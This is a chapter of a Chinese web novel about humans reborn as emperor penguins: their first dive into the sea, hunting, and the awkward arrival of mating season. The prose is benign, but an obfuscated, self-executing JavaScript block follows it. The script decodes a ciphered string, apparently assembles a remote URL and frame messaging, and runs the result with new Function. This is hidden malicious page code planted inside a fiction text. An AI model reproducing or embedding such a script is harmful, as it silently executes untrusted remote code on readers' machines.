既然身上的陵羽已彻底长好,那么接下去,就该下水去了。
帝企鹅们很多已于此刻整理好了身上的绒毛,取而代之的是那一身光滑油亮的陵羽。
段乘鸢站在冰崖之上,脚下有些滑,但已经习惯了,她看向齐白,对方也正好在看着自己。
身边的帝企鹅们已经迫不及待,像下饺子一样一只又一只的跳进海里,偶尔有几只迟疑的,也都被身后的同伴们一同“推”入了海。
扑通~扑通~
水花声不断响起。
很多没有游泳经验的帝企鹅们第一次下水,就非常成功,游泳这项技能仿佛一点就会,根本就不用学。
只有换气这件事情会吃点小亏,但还好,一次性吸足了气,最多可以在水下面待上整整二十分钟呢。
齐父齐母已经是过来鹅了,他们两个给两只新生的帝企鹅讲述着一些小技巧。
比方说不要忘记到海面上换气;遇到危险了不要管到手的猎物直接跑;游泳很快乐,但是不要贪玩,记得大部队的集合时间等等等。
段乘鸢和齐白也很认真的听着这些小技巧,虽说一些东西到时候碰到了事故挺过了自然而然就有经验了,但万一没挺过呢。
齐白时不时的点点头,像是在回应他们,表示自己已经听懂了。
段乘鸢看着齐父齐母放心的眼神,他们两个连下水的姿势也给示范了一下,据说直挺挺的“以头抢海”这样溅出的水花最小。
她:“……”
总感觉有什么东西无形之中碎掉了。
总之,一场父母教学就这样愉快的结束了。
接下来,就是实践的时间了。
齐白先上,他看上去已经跃跃欲试了,显然对于此刻已经等待了许久。
身边的帝企鹅已经所剩无几,大部分都有些胆怯,大海对于他们来说是一个未知的领域,它们还在旁边观望。
所以现在齐白的动作,不是只有段乘鸢看着,其他帝企鹅也看着。
如果他的表现良好,那么极有可能会给这些帝企鹅们做了一个好的示范,这是有积极意义的,说不准大家就会有勇气了。
齐白朝着段乘鸢点了点头,段乘鸢也同样做出了这个动作,他见此,心中满意了,于是乎,缓缓走到冰崖边。
然后顿住了……第一步要怎么做来着?
微微倾斜身体……不对。
直接跳……不对。
热身活动……更不对。
看着齐白呆滞住的背影,段乘鸢很熟悉他,一下子就猜到了对方恐怕此刻已将齐父齐母说的那些话都忘了。
“啾啾啾啾。”不要害怕!
她大声叫唤了起来,看到对方转身朝自己看过来,继续叫唤着——不要害怕,忘记了没关系,你觉得怎么喜欢就怎么来!
双方之间的距离不过是两三米,可是在空旷的地方,段乘鸢忍不住加大了音量。
这些话给齐白加了勇气。
他眼睛亮亮,声音也高昂,回应了小伙伴的叫声之后,再转身面对着大海,终于不在犹豫迟疑。
扑通一声。
帝企鹅英勇的身姿淹没在大海之中。
下一刻,段乘鸢接着走了上去,她悄咪咪的低头看了一眼。
哇——这高度,有点晕了。
怪不得之前那些帝企鹅都害怕,她心中也不由得害怕了起来,这大概也有三四米的高度,底下大海泛着波光粼粼的亮光。
段乘鸢看了好几秒之后,眨了眨眼,深吸一口气,打算开跳了。
还是自己跳吧,她是看过之前那些迟迟未动的帝企鹅,是被后面的同伴“推”下去的,这画面太可怕。
底下的冰块有些滑溜,没有任何预兆,往下掉的感觉是一瞬间的事情,段乘鸢都没有怎么感受,等到反应过来的时候,已经掉进了海里。
激起一圈水花。
段乘鸢下意识地开始扑腾起来,虽然之前心里已经有了准备,但第一反应就是喊救命。
齐白已经在下面游了一圈,行动自如,看到在水里面乱动的小伙伴,急急忙忙的游了过去,将她推到海面上,自己在下面顶着她。
失重的感觉对于人类来说非常糟糕,等段乘鸢反应过来之后,已经很快就适应了环境,感受到齐白在下面支撑着自己。
她现在已经换了防水的陵羽,帝企鹅可以一次性在水下面憋气十几分钟甚至更久,无师自通的游泳技术,身边还有齐白呢。
有什么好害怕的。
而且,那么高的冰崖,她都跳了下来。
想到这里,段乘鸢稍稍安心了些,她深吸一口气,一个猛扑潜入了海中,主动去触摸齐白。
真好,我的小伙伴。
简短的游泳之间之后,就要开始捕猎啦,肚子已经饿了很久很久,第一条完整的鱼,是自己努力捕猎到的,这是件很开心的事情。
段乘鸢一口气吃了好多南极磷虾,肚子饱饱的。
餐后小食,很美味。
齐白这个时候也吃了很多东西,他游到段乘鸢身下,脑袋顶了顶她的腹部,他想上岸了,虽然游泳很开心。
他的动作很轻盈,加上海水的浮力,这个动作跟挠痒痒没差别。
段乘鸢明白了齐白这个动作之意。
正好合她的意,她冲着齐白点点头,见对方没有反应,以为是海底光线太暗,对方没有看清楚自己这微弱的动作。
于是,她也学着刚刚齐白的动作,顶了顶对方的侧身,这一下,齐白顿时明白了段乘鸢的想法。
他们两个双双向岸边游去。
上岸的动作他们是第一次做,可滑行却是很熟悉了,从海边跳出,咻的一下,滑行了几米之后,再站起来,没有一点儿停顿。
段乘鸢和齐白的运气不错,接下来的几天里面,他们两个都没遇到虎鲸或者海豹之类的天敌,生活还是很惬意的。
齐父齐母一开始还跟着他们两个,后面看这两个小家伙适应得很好,加上这块海域暂时安全,他们发现他们两个没有时时刻刻跟着了必要了。
现在孩子能自己捕食,他也已经长大了,似乎已经……不需要他们了。
齐父齐母对视了一眼。
他们现在大概明白了,当初那些帝企鹅家长离开的目的,或许是带着遗憾,可是终到底很满意的。
他们现在的心情也是如此。
这样的生活一直持续了将近两个多月,段乘鸢他们这些小企鹅目前也就一岁不到的年纪,这个时候段,对于段乘鸢他们还是个小孩子。
时间到了四月份,此时已完全过了春分时节,极昼现象已完全消失,太阳早已到达地平线,极夜已经到来。
接下去的时间里,帝企鹅群要上岸,差不多行走100到160千米之外的地方,去进行繁殖。
现在的帝企鹅们已完全成年,接下来会发生的事情,其实大家心中都有预期了。
但说了很多遍,帝企鹅是群体活动的动物,在这样恶劣的环境下,自己活动是很危险的,活下去是件很难的事情。
“嘎哦~~”所以……是发情期?
齐母本来以为自己已经适应变成帝企鹅的情况了,但是到了发情期这个阶段,她觉得自己的接受力还有待提高。
段乘鸢也沉默了。
眼前所面对的,是几百只帝企鹅,各种不同的叫声,全是在求偶,有些已经找到了伴侣的帝企鹅,已经就地开始进行繁殖动作。
发情期……竟恐怖如斯!
体内的躁动提醒着她,那种繁衍求偶的本能,避免不了。
齐白羞答答的看着段乘鸢,基因记忆告诉他,应该要有个宝宝了,但是在之前,需要找个伴侣。
伴侣,就是自己喜欢的,对方也喜欢自己的,能和自己养育宝宝的,一位雌性帝企鹅。
他心中的第一选择,当然是他的阿鸢小宝贝了。
因为他最最最最最喜欢阿鸢小宝贝啦!
“嘎嘎嘎~”阿鸢小宝贝。
现在他们已经是成年帝企鹅了,叫声也从鸟宝宝的啾啾叫,变成了稳重的嘎嘎声。
就像是平常一样,他蹭了蹭段乘鸢的脑袋,其实身体是有些难受的,他说不清楚是什么样的难受,只觉得靠着阿鸢小宝贝,会舒服很多。
“嘎嘎嘎~”我们一起生崽崽好吗?
giao!
该死的发情期。
段乘鸢怀疑人生的视线看向齐白。
我拿你当朋友,结果你却想我生宝宝!?
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();